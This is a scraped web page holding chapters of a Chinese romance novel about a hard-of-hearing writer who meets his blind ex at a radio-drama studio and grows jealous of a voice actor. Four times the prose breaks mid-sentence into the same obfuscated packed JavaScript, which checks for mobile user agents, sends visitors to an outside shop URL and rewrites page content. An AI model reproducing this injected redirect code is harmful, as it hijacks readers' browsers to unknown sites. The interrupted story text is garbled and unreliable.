“不用了,”乔辽把刚才那些画面在心里过了一遍,找出了那个最能带动他情绪的声音,“三号吧。” “三号是吗,”易秋光敲击着键盘,电子音读出“试音三号”,男声再次响起,“是这位老师对吗?” “对,”乔辽说,“他对这段的理解很好,情绪方面也处理得很到位。” 这句话有些长,乔辽说得慢慢地,努力做到发音标准,不会听出任何奇怪的地方,易秋光就坐在他对面认真听着,听完后,点头说道:“好的,我等会儿去联系一下三号试音老师。” “麻烦了。”乔辽说道。 “这是工作,没什么麻不麻烦的,”笔记本电脑被放到一边,易秋光站了起来,他扶着沙发靠背,往门口指了指,“那我们先回会议室,再过一会儿就到午饭点了,中午会休息两个小时,你要是住得近,可以回去小睡一会儿再来,要是有些远,可以就在这里休息会儿。” “不用了,”乔辽也站起身,说道,“我没有午睡的习惯。” 盲杖在地面轻敲着,易秋光慢慢往门口走,快要走出去的时候,他微偏着头说道:“这样啊,我以前也不睡,现在总熬夜,不睡不行。” “工作确实累人,”乔辽跟在他后面,一起往会议室走,“多注意休息,还是少熬夜。” “是,”易秋光笑着说,“故听老师也得多注意,你们这行应该也是容易熬夜吧,毕竟夜晚总是灵感最多的时候。” “确实。”乔辽答道。 说起这个,他的话就会变多了,要是手语能自带声音,那乔辽现在会变得非常吵。 他想说,干这行熬夜的原因很多,灵感多是一部分,另一部分是因为他总是喜欢拖到最后才去写,半夜赶稿是常事。 他还想说,熬夜后,白天就需要补觉,一觉睡起来,晚上又得熬夜赶稿,就这样形成了死循环。 可这些话太多,乔辽要是开口说这么长一串,肯定会出现发音不标准的情况,他只能选择少说两句,那些屁话也就被憋了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140538|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 他跟着易秋光慢慢走着,也往身边一次次地看过去。 走着走着,他就从易秋光身后,走成了和易秋光并排。 这人想着,易秋光走路的时候也挺好看的,和以前一样好看,今天穿的这身衣服也合适,就是不知道是谁给他挑的。 对啊。 谁挑的? 乔辽的视线还停留在易秋光那身衣服上,等他反应过来的时候,他们已经走到会议室门口了。 可还没等他们走进去,易秋光的手机突然响了起来,这次的铃声很长,不是响一声就结束的。 易秋光拿出手机,在屏幕上点了一下,手机朗读出:来电人,山月。 又是这个人,到底是谁啊。 “我接个电话,你先进去吧。”易秋光朝着乔辽的方向说了声,紧接着就按下手机屏幕上的接通键。 乔辽说了声“好”,往前走了两步,但他压根就没进会议室,而是推开了门,又关上。 依旧站在那里。 他的视线还放在易秋光身上,只可惜,他没办法听见电话那头在说什么。 乔辽只能看见易秋光在笑,也只能听见易秋光一个人的声音。 这人对着电话那头说着“好”,过一会儿又说“那等会儿见”。 这句话落下,易秋光也挂了电话,他抬手撑了一下左边的墙面,用盲杖继续敲击着地面,往会议室的方向走。 在他快要走到的时候,乔辽打开了会议室的门,并往前走了两步,站到易秋光边上。 这两步走得有些突然,易秋光还没来得及预判,盲杖也在下一次的敲击中碰上了乔辽的腿。 “不好意思,你还好吗,有没有受伤?”易秋光连忙把盲杖往回收了点,愣了一下后,又说道,“是故听老师吧?我应该没认错。” 这句“不好意思”说得太快,就像是易秋光下意识做出的反应。 能看出来,易秋光此刻有些紧张,拿着盲杖的手也跟着不自觉收紧,以至于指尖都有些泛白。 乔辽回答了一个“嗯”,往旁边站了一些,给易秋光留出位置:“我没事,也没受伤,是我没注意,离你太近了。” 在他声音出来的那一刻,易秋光就往他的方向望了过去。 “不好意思,我反应慢了点,”易秋光朝着他抱歉地笑,“中午请你喝杯咖啡吧,实在是抱歉。” 乔辽很快答应下来,还顺带着问了句:“可你中午不是要睡午觉吗?” 其实,刚才被打的那一下根本就不疼,按这样来说,他绝对是赚了。 也是没想到,竟然还会有这种天降好事。 乔辽压根就不用考虑,这种事儿,直接点头同意就行。 可紧接着,他就听见易秋光说道:“本来是准备睡的,但我等会儿有个朋友要来,我得去陪他吃饭,他吃饭话多,一顿饭吃完肯定也很晚了。” 哈哈哈,狗屁的天降好事。 易秋光说请他喝咖啡就是一个顺带的事。 这人主要的事还是陪那个话痨吃饭。 “那这样吧,”乔辽说,“别喝咖啡了,你等会儿吃饭的时候带上我就行。” 5. 其他 易秋光什么都没说,不点头也不摇头。 只是在那里站着。 “三季老师,我吃饭很老实的,”乔辽笑着说,“带上我吧。” “行,”易秋光问他,“那你中午想吃什么?” “都可以,”乔辽说,“我不挑。” “好,”易秋光往前走了两步,抬手碰上会议室门把手,“那我先进去了。” “我也进去,”乔辽走到他身侧,说道,“我就是出来看看你。” “这样啊……”易秋光笑了笑,“那就一起进去吧。” 乔辽“嗯”了声,上前两步帮忙推开门,说道:“你先进。” “谢谢。”易秋光用盲杖往前试探一下,走进会议室后依旧是坐到原来的位置。 乔辽再次变得话少,但还是会时不时偏头看向易秋光。 但在围读结束的下一秒,这人又变了样。 他先是喊了声“三季老师”,紧接着就说道:“我们去吃饭吧。” 在性格切换这方面,乔辽还是挺在行的。 “好,”易秋光站起身,拿出手机站在原地,“稍等一下,我给朋友发个消息,问一下他到哪儿了。” 其他人都在慢慢往外走,只有他们还在那儿没动,乔辽站在他边上“嗯”了声,突然,会议室的门被打开。 一个男人迈着大步走进来,还顺带着抬起双手,往易秋光边上猛地拍了一下。 他手里提着的那袋东西,都被这动静弄得晃动起来。 “三季!”这人说话声音确实好听,吓人水平也不高。 易秋光站在那里动都没动。 但乔辽被吓了一跳,心跳瞬间就上去了,比看鬼片时蹦得都快。 “无不无聊啊,”易秋光抬起盲杖往这人身上敲了一下,“这里又不是只有我一个人。” 说到这里,易秋光往乔辽的方向望了眼,又对这人说道:“旁边这位是故听老师。” 乔辽对着男人笑了笑,正准备说一句“我没事”。 对面那人抢在他之前说了句“抱歉”,接着又对乔辽说:“故听老师,没吓到你吧,我经常和三季闹着玩,闹习惯了,没注意到会议室还有其他人。” 是的,其他人。 我是其他人,那你是什么人! “没事,”乔辽脸上的笑都快僵了,“我没被吓到。” “我来介绍一下,”易秋光喊了声“故听老师”,然后又指了指旁边那个男人,“这位是捕山月,也是试音音频里的三号。” 什么叫运气不好。 这就叫运气不好。 原来那个什么“山月”就是他。 乔辽干笑两声,说道:“我听过捕山月老师的作品,情绪方面处理得很好。” 说出这些话,乔辽一点都不心虚。 成年人,需要的就是胡扯的能力,没听过又怎样。 诶我就是不听。 “谢谢,”捕山月看着乔辽说,“故听老师的小说我也看过,写得很好,只是可惜,这次试音没有被选中。” 这个不一定是胡扯。 乔辽也觉得自己写得挺好。 “我本来是想着,等到晚上再给你说这件事的,没想到你又改成了中午来,也算是正好了,”易秋光望向捕山月的方向说,“之前那位主役临时出了点状况,没办法参加录制了,工作室这边让故听老师盲选了试音音频,重新选出一位主役,最后,故听老师选择了你。” “那我还真是来得太巧了,”捕山月对乔辽说,“我一直都想和故听老师合作,没想到这次真的实现了。” “啊是,”乔辽受不了这种客套,只想赶紧跳过这个话题,他往门口指了指,说道,“休息时间不多,走吧,我们先去吃饭。” “好,”捕山月说完这句,立马握住易秋光的胳膊,顺带着把手里那袋东西递了过去,“这是我刚买的咖啡,就是工作室旁边那家,你前两天不是提了一句,说想喝他家的新品吗,但就是卖的太好了总买不到,你看我厉不厉害,今天就给你买来了。” 乔辽走在他们两个边上,视线总是会不自觉地看向捕山月握着易秋光胳膊的手。 这什么人啊,莫名其妙的。 刚开始还和易秋光说晚上见,过了一会儿又中午见,现在好了,直接冲工作室来了。 过来就过来吧,你还提个咖啡过来。 捕山月是那种带点娃娃脸的人,看着就年龄不大,乔辽扯了扯嘴角,在心里想着,果然啊,小几岁的人就是不会照顾人。 大中午的喝什么咖啡,饭都还没吃,这杯喝下去不得烧胃吗。 可下一秒,易秋光就把咖啡从袋子里拿了出来,捕山月连忙拿出吸管帮忙插上,又把包装袋拿走,扔进垃圾桶。 易秋光喝上一口,笑着对捕山月说:“很好喝,谢谢啊。” “不客气,下次再给你买,”捕山月问他,“中午去吃什么,是去那家新开的家常菜馆还是去上次吃的那家自助餐厅?” “我都行,”易秋光下了几层台阶,微偏着头问道,“故听老师想吃什么?” 乔辽走在他们后面,易秋光那一偏头也没有望向他所在的地方,但捕山月看过来了。 本来已经垮着的脸瞬间挤出一个笑,乔辽说:“我都可以,你们决定。” “那就去新开的那家店好了,”捕山月带着易秋光继续往下走,“听说味道还不错。” “好。”乔辽说道。 这一路上,乔辽就这么跟在边上。 捕山月也没有放开握着易秋光胳膊的手。 当他们走到餐厅门口的时候,捕山月终于肯放手了。 但他也不是自愿的,而是因为餐厅门口站了人,两个人并排根本就走不进去,只能一个接一个,跟在后面走进去。 感谢那几个挡在门口的人,捕山月放开手的那一瞬,乔辽心里也痛快了一大截。 可这人并不打算就这么跟在后面走,他刚撒手,就又扯上了易秋光衣角,进店之后,四周变得宽敞,捕山月再次握住了易秋光的胳膊。 衣角只是过客,胳膊才是归宿,是吧。 捕山月,你的手是非得抓点什么东西吗,玩会儿手机不行吗,到底有什么好握着的,别人易秋光又不是没你拉着就走不了路了! 乔辽心里的嘀咕一声更比一声高,直到他们坐下,捕山月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140539|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才彻底放开手。 但要命的是,捕山月和易秋光坐在乔辽对面。 这俩人往那儿一坐就让乔辽眼睛疼,就跟长了针眼一样疼,眨也眨不得,闭着又担心这俩人要背着他干点什么。 他快速眨了个眼,深呼吸一口气,死死盯着眼前这两个人。 下一秒,服务员拿着菜单走了过来。 捕山月应该是提前准备过的,这人接过菜单,拿起笔就开始不停打勾,问都没问易秋光想吃什么。 在捕山月点了几道菜后,菜单被递到了乔辽手里,服务员也在这时候端来了三杯水放到桌上。 乔辽刚接过菜单扫了眼,那种很烦的感觉就又上来了。 捕山月哪是做了什么准备。 菜单上那些被勾选的菜都是易秋光最喜欢的,这人分明是太了解易秋光。 手边的水被乔辽端起,递到嘴边喝上一大口。 酸味瞬间充斥整个口腔,柠檬酸味冲得乔辽大脑都开始发晕。 “故听老师,”捕山月看向他说道,“你看看想吃些什么,这家店我也没来过,对菜色不是很了解。” 空话和客气话都被这人说了,乔辽咬了咬发酸的牙,冲他露出一个笑:“这些菜已经够了,不用再加。” 不够吃也不用加了,乔辽现在已经快被气饱了,本来还挺饿的,现在好了,不仅饱了还快死了。 他把菜单放在桌面上,轻推到捕山月手边,这人拿起菜单看了看,说道:“再加个特色菜吧,分量不多,能吃完,反正我们都来了,那就尝一尝呗,好吃下次再来。” 捕山月拿起笔在菜单上勾了一下,接着就把菜单和笔递给服务员,乔辽看了看坐在他对面的易秋光,又看向捕山月。 自己现在这种心情是什么呢,乔辽当然明白。 是吃醋,是不甘,甚至还有点气愤。 想哭。 他和易秋光分分合合那么多次,乔辽每次都是打心底觉得,他和易秋光是不可能真的分开的。 他始终觉得,他和易秋光的分手就是一场玩闹,闹够了玩好了,易秋光就会再次出现,他们也会像无事发生一样,重归于好。 可两年前的那个男人让乔辽明白,他和易秋光不是最完美的组合。 现在的捕山月又让他知道,易秋光的选择有很多。 对面的两个人又聊了起来,乔辽都觉得自己快要呼吸不上来,突然,他的手机响了声。 发来消息的人是郭宝卓,这人问他:在干吗呢,在写你那个破小说呢。 真是自问自答的神经病。 乔辽扯了扯嘴角,回复道:在看情敌呢,比写小说好玩。 郭宝卓这下子来劲了,他回了好几个感叹号,然后问道:易秋光?是易秋光吗,在哪碰见的,你俩碰面第一句说了什么啊,还有个问题,你那个情敌是谁啊,多大了多高了长什么样,干什么工作的,家里是干什么的,住哪里啊,情敌眼神儿好不好,能看见不,要是也不能的话,你拍一张他的照片给我看看,要正脸无/码别隔太远。 乔辽一口气差点没提上来。 他在屏幕上快速点了几下,回复道:郭宝卓,你去死吧。 6. 前任 郭宝卓哪里会同意这个无理的要求。 这人回了个“邪魅一笑”的猫咪表情包,又发来一句:那你先告诉我,你是在哪里碰见易秋光的。 乔辽抬眼看向对面那两个人,又低头回复郭宝卓:我的破小说卖出版权了,是广播剧,易秋光是这部广播剧的配导。 郭宝卓大概是正盯着屏幕,回消息的速度那叫一个快。 这人回了三条消息。 第一条:我天,从未想到过的领域,不过说真的,易秋光的声音很好听,我以前也给你说过好多次,看来我的耳朵真是一把尺啊,他有没有什么配音作品,叫什么名字啊,我去听听。 第二条:破小说卖了多少钱,能不能请我吃顿饭,我想吃你家楼下新开的麻辣烫,全荤不要素菜,行不行。 第三条:你在哪里看情敌?情敌是干吗的啊,是配音演员吗?说话的时候是什么死动静? 科技还是发展太快了,文字都开始吵眼睛了。 乔辽深吸一口气,开始打字。 他回复道:是,你的耳朵是尺,叫三季,有作品,行,吃全荤的麻辣烫,我在易秋光的工作室附近吃饭,前任和情敌全都在场,我就坐在他们对面,情敌是配音演员,说话是公鸭嗓加夹子音,不好听。 郭宝卓问他:情敌叫什么? 乔辽回复:捕山月。 这条消息,郭宝卓回复得就有些慢了,慢到菜都上了几道,对面俩人都吃上了。 捕山月还催着他说:“故听老师,快吃啊,味道还挺好的。” 说完这句,捕山月还往易秋光碗里夹了不少菜。 易秋光用筷子在碗里慢慢夹着,也跟着说了句:“故听老师,快吃吧。” “好。”乔辽刚准备拿起筷子,郭宝卓的消息就发了过来。 这人说:瞎说,捕山月声音挺好听的,小伙子多有劲啊,配你那个互殴小说完全够用,是不是你的耳蜗出问题了啊,助听器进水了?不行就送去修修。 乔辽现在更吃不下了。 他用单手快速打字,回复道:第一,我写的是互攻小说,第二,我的助听器和耳蜗没出问题,是你的脑子进水了,第三,郭宝卓,你还是去死吧。 回完这条消息,乔辽把手机揣进兜里,去他的郭宝卓,去他的捕山月,去他的吃饭。 这什么菜啊黑不溜秋的,味道肯定也不怎么样,乔辽夹起一筷子喂进嘴里,看吧他就说这菜的味道……诶,还挺好吃的。 乔辽就这么盯着对面那俩人,一边生气一边吃了两大碗饭。 偶尔对上捕山月的视线,乔辽就会尴尬地对着他笑一笑。 不管了,先吃饭吧。 一桌子菜都被吃光了,乔辽一肚子的气还是无处可去,在回工作室的路上,郭宝卓又给他发了消息,问他晚上几点结束,有没有空去喝一杯。 没空也得有空。 乔辽现在的心情复杂得不行,什么赶稿什么睡眠啊,还是喝一杯比较实在。 他果断回了个“好”,收起手机抬起视线,正好看见前面那两个挨得极近的人。 捕山月就跟手上糊了502似的,死拉着易秋光胳膊不放。 易秋光也不甩开这人,就这么任由捕山月带着他走。 他们两个人,到底是熟悉到了什么程度,才能让易秋光这么信任他。 乔辽不知道,他也不会冲上前去问,但这个问题一直缠着他,直到天色暗下来。 在易秋光说出那句“今天就到这里”的时候,乔辽也没有为此而松出一口气。 因为他知道,捕山月和易秋光还会一起去吃饭,吃完饭之后的事情,他也不得而知。 但他,没办法再跟着易秋光。 他现在是故听,不是那个只会动手的前任。 哦,是前前任。 或者,前前前任。 不重要了,现在最重要的事,是外面已经下起了大雨,而他没带伞。 乔辽刚走出工作室,他站在能躲雨的地方,看着马路上来来去去的车,可那些车不是有客就是私家车。 他一辆车都没等来,软件叫车也没司机接,一转头还看见捕山月打着伞,带着易秋光从他眼前离开。 挺好,伤害从不单独出现,一旦出现就是双倍。 这两个人直接走到院子那边,停在一辆黑色的车旁,捕山月帮易秋光打开了车门,等易秋光上车后,他才走到驾驶位那边。 整个过程,捕山月没让易秋光淋到一点雨。 当这辆车缓缓驶出院子时,车轮带起地上积水,溅到乔辽脚边,还有些雨水落上他的鞋面,乔辽低头看了眼,也懒得再管。 什么人啊,搞得和谁没车似的。 行吧,他就是没有。 乔辽拿出手机给郭宝卓发消息,问这人在哪里,等会儿要去哪里喝酒,顺路的话,方不方便过来工作室接他一趟。 郭宝卓这次回得也快,他拍了张坐在车里的照片。 后面还跟着一句:没空接你,情敌在淋雨,我得去接,自己坐个车过来,我给你发地址。 下一秒,聊天界面就跳出来一个酒吧定位,郭宝卓补上一句:别急着来,情敌发疯跑得远,我都快跑出江城了。 乔辽盯着这句话看了会儿,抬起手指戳了戳屏幕,回复道:那我走着去,这家店离我也不远。 这句话发出去之后,郭宝卓没再回复。 乔辽点开那个定位,开始导航,上面显示距离目的地,步行需要四十分钟。 他其实并不知道那个酒吧离这里有多远,乔辽对这附近更是不熟悉,他只是不想那么早去,才说了一句“走着去”。 乔辽看了一眼接下来要走的路线,大概记了一下,接着就把手机揣进兜里。 雨还在拼命地下,像是恨不得把整个江城都冲刷一遍,连一个角落都不肯放过。 要是照这样继续下去,路面肯定得积水严重,去哪儿都得蹚水。 乔辽看了眼手机屏幕上显示的时间,准备点个外卖买把伞,还没等他点开外卖APP,身后的门被打开,走出来的这个人看见乔辽后,先是冲他笑了笑,然后问了一句:“故听老师是在等车吗?” “没,现在不好等车。”乔辽看他有些眼熟,但也喊不出名字,毕竟今天见到的人实在是太多。 “那你需要伞吗?”这人往工作室里面指了指,“有多余的伞可以拿,你明天过来的时候再拿来就好。” 乔辽本来就在为这件事发愁,听见有伞可以借用后,乔辽连忙道谢,跟着他一起走进工作室去拿伞。 就和这人说得一样,一楼休息室里放着两把雨伞,其中有一把是黄色的长柄伞,另一把是折叠伞。 “随便拿就行,”男人说,“这两把伞都是工作室同事买来放在这里的,大家忘记带伞的时候也能借用一下。” 乔辽点了点头,拿起那把折叠伞,身边那人立马说道:“这把应该是捕山月老师拿来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140540|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这样啊,”要他用捕山月的伞,还不如让他被雨淋死,乔辽放下折叠伞,又拿起另一把长柄伞,“那这把呢?” “是三季老师的。”男人说。 “那就这个了,”乔辽晃了晃手里的长柄伞,和这个人一起往工作室外面走,当他们站在门口时,乔辽撑起伞问了一句,“捕山月和三季的关系很好吗?” 男人没多考虑,点头笑着说道:“是,两位老师都是这个工作室的,关系好也正常。” “有多好?”乔辽迈出一步走进雨里,雨水啪嗒啪嗒落在伞面,敲得他心里也乱糟糟的。 “早上一起来,晚上一起走,他们经常待在一起,”这人也撑起伞,往前走了几步,“故听老师,那我就先走了,明天见。” “好,”乔辽冲他笑笑,“明天见。” 早知道就不问了,问这些干什么。 除了给自己添堵,没有任何作用。 乔辽撑着伞,往定位的酒吧慢慢走,他听着周围的车声和雨声,在脑子里把易秋光的模样想了一遍又一遍。 在快要走到目的地的时候,郭宝卓发来一条消息,这人说,他的情敌和他的心动对象一起走了,留下他一个人看店。 乔辽看眼地图导航显示的时间,回复道:等着吧,我还有几分钟就到了。 这句话确实不是骗郭宝卓的,步行导航显示,距离目的地还有五分钟,但前面那条路已经被雨水淹了不少,走过去肯定会湿鞋。 乔辽干脆换了一条路,导航重新规划路线后,时间比刚才又多出了五分钟。 当他走到那家酒吧门口时,郭宝卓已经发来两次催促的消息,乔辽选择已读不回,他站在门口收起伞,轻轻甩动几下,抖落伞面的雨水,然后,他推开了酒吧的门。 刚一进去,坐在吧台前的郭宝卓就看了过来,这人隔老远就开始打手语:把伞放进伞桶,就在你左手边。 乔辽往左手边看去,把伞放进了那个印着酒吧logo的伞桶。 吧台前的郭宝卓冲他招招手,比画着:过来。 乔辽边走边比画:在这儿喝? 郭宝卓摇摇头,比画道:等他们回来后,我们去别处喝。 这俩人就在吧台前坐着比画,有一句没一句地聊着,碰上客人有什么需要的,郭宝卓就会立马挂上笑,起身去客人那边。 乔辽也是佩服这人,喜欢的人都和情敌一起走了,他还能在这里好好地帮忙看店。 在郭宝卓第无数次回到吧台前坐下时,酒吧门被推开,两个男人走了进来,郭宝卓立马碰了碰他的胳膊,在乔辽回过头时比画道:看见没,我喜欢的人是长发,情敌是那个长得丑的。 乔辽盯着那个长发看了看,又看向那个长得丑的,然后开始对着郭宝卓比画:我觉得那个男的不丑,这两个人走在一起就像是天生一对,你要相信我的直觉,我是写小说的,这种叫作CP感。 郭宝卓瞥了他一眼,抬手比画:你有什么直觉,你懂什么叫CP感吗你就瞎说,我看你有点SB感。 这俩人越说越远,视线也一直往长发男和那个不丑的男人身上看。 这男的明显有些受不了,黑着一张脸问郭宝卓:“你和你朋友总盯着我干什么?” 要是问到这个问题,那乔辽可就来劲了,他拿出手机打开备忘录。 打出几个字,递给这个男人看。 屏幕上写着:我想看看,郭宝卓的情敌长什么样。 7. 花絮 郭宝卓大概是察觉到了不对劲,他也凑过去看了一眼,立马就用胳膊肘拐了乔辽一下。 乔辽就坐在那儿,听着郭宝卓和那个男的你一句我一句的,也听不明白到底说的什么,酒吧实在是有点吵,灯光也暗,他根本就没办法看清那个男的口型。 眼看着时间也不早了,乔辽干脆站起身,冲着郭宝卓比画道:差不多得了,我们换个地方去喝点。 郭宝卓没有犹豫,他估计也懒得和那个男人再继续聊下去,再说了,情敌之间能有什么好聊的。 他和郭宝卓一起走到门口,乔辽拿上那把被放在伞桶里的长柄伞,推开店门走了出去。 走出门的那一瞬,耳边重回清静,郭宝卓指了指停车的方向,比画着:我先去开车,你就站在这里,别动,等会儿直接上车就行。 乔辽点了点头,低头看了眼手里的长柄伞。 伞面的那些雨水已经不见踪影,就像这把伞从未走进过雨中。 好多东西都是来得毫无准备,比如这场没有带伞的雨,又比如那个突然出现的易秋光。 乔辽呼出一口气,郭宝卓也把车停到了他面前。 他上车后的第一件事,就是打开购票软件,退掉了那张在月底去往洪城的车票。 “想去哪里喝,你家附近?”前面堵了车,郭宝卓趁着空档偏头看了他一眼,“那家挺安静的。” 乔辽“嗯”了声,车流开始缓缓往前,他紧了紧手中的伞,扭头看向窗外的建筑。 在这两年里,他回了洪城好几次,每次回去,他的路线都是差不多的。 先去之前的出租屋附近看一看,接着就去以前工作的地方。 那些和易秋光一起去过的地方,他都会去重新走上一遍。 就连他们从未去过的地方,乔辽也去了一次又一次。 甚至在过年的时候,他还会去易秋光以前待的福利院看看。 但那边的老师却告诉乔辽,易秋光已经很久没有回去了。 两年时间,他在江城待着,却对洪城越来越熟悉。 他回去也不是为了什么别的,从头到尾,他的目的都只有一个,那就是找到易秋光。 或许是老天爷眷顾,又或许是老天爷想让他快点放弃。 但怎么说都算是一个好结果,至少,易秋光出现了。 乔辽看着窗外深呼吸一口气,接着就听见旁边的郭宝卓说道:“马上就到了,你晚上能喝多少?” “一点,”乔辽说,“明天还要去工作室。” “行,”车缓缓停下,郭宝卓说,“那你少喝,我多喝。” 乔辽没说什么,“嗯”了声后,打开车门撑开伞,雨水再次淋湿伞面,这段路积水不厉害,但走路时带起的水全都溅到了裤腿上。 这家酒吧就和郭宝卓说的一样,没那么吵耳朵,灯光也不算昏暗。 长柄伞又被放进了伞桶,服务员带着他和郭宝卓走到桌前坐下。 他们坐在角落位置,比较安静,郭宝卓点好酒水后,就支着个脑袋盯着乔辽看。 乔辽问他:“你看什么?” “我是在想啊,你现在到底是什么心情啊,”郭宝卓“啧”了声,“两年过去了,这也是你和易秋光分开最久的一次吧,你能不能告诉我,你现在到底是想和易秋光和好呢,还是恨他,不想和好啊。” “恨他?”乔辽顿了顿,说道,“还好吧。” “什么意思?”问完这句,郭宝卓抬起了手。 他比画道:你还想和他在一起?还是说,你想和那个捕山月公平竞争?不过,你问过没,他们两个会不会已经在一起了? 乔辽抬起手,又握了握拳,盯着眼前的人几秒后,还是选择比画:我不知道,但我觉得,易秋光一直都是我的。 难受的感觉一下子就出来了,乔辽在这方面,可以说是十足的爱哭,眼泪常常会不受控制。 “一直都是你的?”郭宝卓也是拿他没了办法,叹出一口气后,拿起手边的纸,递了过去,“那为什么,在你们两个分手后,易秋光能在那么短的时间里找到下一个,这还是你给我说的,对吧。” 乔辽没说话,也没比画。 他接过纸,擦了擦快要流出来的眼泪。 服务员端着酒过来,酒杯刚被放上桌面,乔辽就端起来喝了一大口。 “一说你又急,说实话你又不爱听,”郭宝卓这张嘴,真是欠扇,“你看看你现在这张脸,臭得跟什么一样。” 说完这句,郭宝卓直接拿起手机,对着他的脸拍了一张,紧接着,乔辽手机响了声,他点开一看,郭宝卓发来一张照片。 照片里的他,板着一张脸,头顶的灯光打在侧脸上,更显得他脸型的优越,挺好,这张照片照得不错。 乔辽保存照片,熄屏手机,又端起酒杯喝了口,还是什么都不说。 但郭宝卓是不可能闭嘴的,只要这人想聊天,那这嘴就不可能停下。 “我问你啊,你说我和那个丑男的,谁更优秀,”郭宝卓简直是拥有超强自信心,他抬手一扒拉自己的头发,又说道,“我现在工资也行,偶尔出个差,绝对能做到超强陪伴,再说了,我哪里差了,我长得也不差吧,学历也不差吧,那个丑男的哪里好了,谁还不是两只眼睛一张嘴了。” “你两张嘴,比他强点,”乔辽指着郭宝卓的手说,“你不是还会手语吗,是吧,他又不会。” “我就喜欢你说的这句话,”郭宝卓也端起酒杯喝了一口,接着就冲对面的乔辽比了个大拇指,“你那个情敌也不行,你会写小说,他肯定不会,说不定就连作文都写不顺畅。” “谢谢你啊,我最近卡文厉害,”乔辽说,“也不太顺。” “嗐,不说这些,”郭宝卓端起酒杯往前递,和乔辽碰了个杯,“易秋光有没有对你说什么,比如什么好久不见啊我好想你啊乔辽你怎么会说话了,你耳朵也好了诶好神奇啊你好厉害我们和好吧,他说了没?” “你去死吧你现在就死,”乔辽好想空手变个铁锹出来,当场给他挖个坑埋了,“他不知道是我,我没说,他只知道我笔名。” “你还搞这一套呢,玩神秘啊,准备和他玩网恋还是玩Q/Q爱啊,需不需要我给你充个会员,什么红黄绿粉钻的,我一样给你来一个。”说完这些,郭宝卓拿起手机扒拉两下。 乔辽还以为,这人是真的在给自己充会员。 但下一秒,郭宝卓点开一个东西递到他耳边:“那这个捕山月呢,你是怎么知道他喜欢易秋光的?” 接过手机的那一刻,乔辽先是听见一个温柔的男声,接着就是另一个同样柔和的声线,见鬼的是,这俩人说的话听着还挺腻乎。 乔辽皱眉把手机拿离耳边,他往屏幕上看了眼,上面写着一个广播剧的名字,配音那栏的双主役写着三季和捕山月。 “你别在这里挑衅我,这是工作,又不是真的谈上了,”乔辽直接划走APP,把手机放在桌面,推到郭宝卓那边,“还有,你那个情敌长得比你好看,一看就是犟种类型,可能你的心上人就喜欢那款。” “你够了啊,你也别挑衅我,人家捕山月会说话,你会不会。”郭宝卓真是人贱嘴也贱,乔辽也不知道自己是怎么和他玩到一起的。 可能是因为小时候在福利院,就这人话多,也就郭宝卓一个人对手语感兴趣,能够和他沟通。 “来,你过来,你给我过来,”乔辽冲他勾勾手,在这人凑过来的时候,对着他的耳朵说出非常顺的一句,“你个傻逼。” “别闹了,你真别闹了,”郭宝卓瞥了他一眼,又开始在手机上扒拉,“我刚才给你听那段,根本就不是要挑衅你,你把那段跳过,听后面的花絮。” 乔辽“哦”了声,问道:“花絮怎么了?” “这个广播剧是今年出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140541|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捕山月在花絮里说,他认识易秋光是在四年前,”郭宝卓比出一个“四”,又比出一个“二”,“你们分手才两年吧,你之前和易秋光天天在一起,就一点都不知道捕山月这个人?” “不知道。”乔辽伸手拿过郭宝卓的手机,把进度条往后拉,页面跳转一下,界面显示,正在播放花絮。 捕山月和易秋光的声音在他的脑子里打架,这两个人嘻嘻哈哈的也不知道是在笑什么,反正乔辽笑不出来。 突然,捕山月说了一句:“三季老师的笑声还是这么好听。” “是吗,”这是易秋光的声音,这人笑着问道,“你从什么时候开始这么觉得的?” “四年前,第一次认识你的时候。”捕山月是这么说的。 屏幕上飞过无数弹幕,什么“香香饭要每天吃”,还有什么“请多多互动爱听”。 乔辽把手机熄屏,沉默着坐在那儿。 他的确不知道,他什么都不知道。 四年前的他们,才二十四岁。 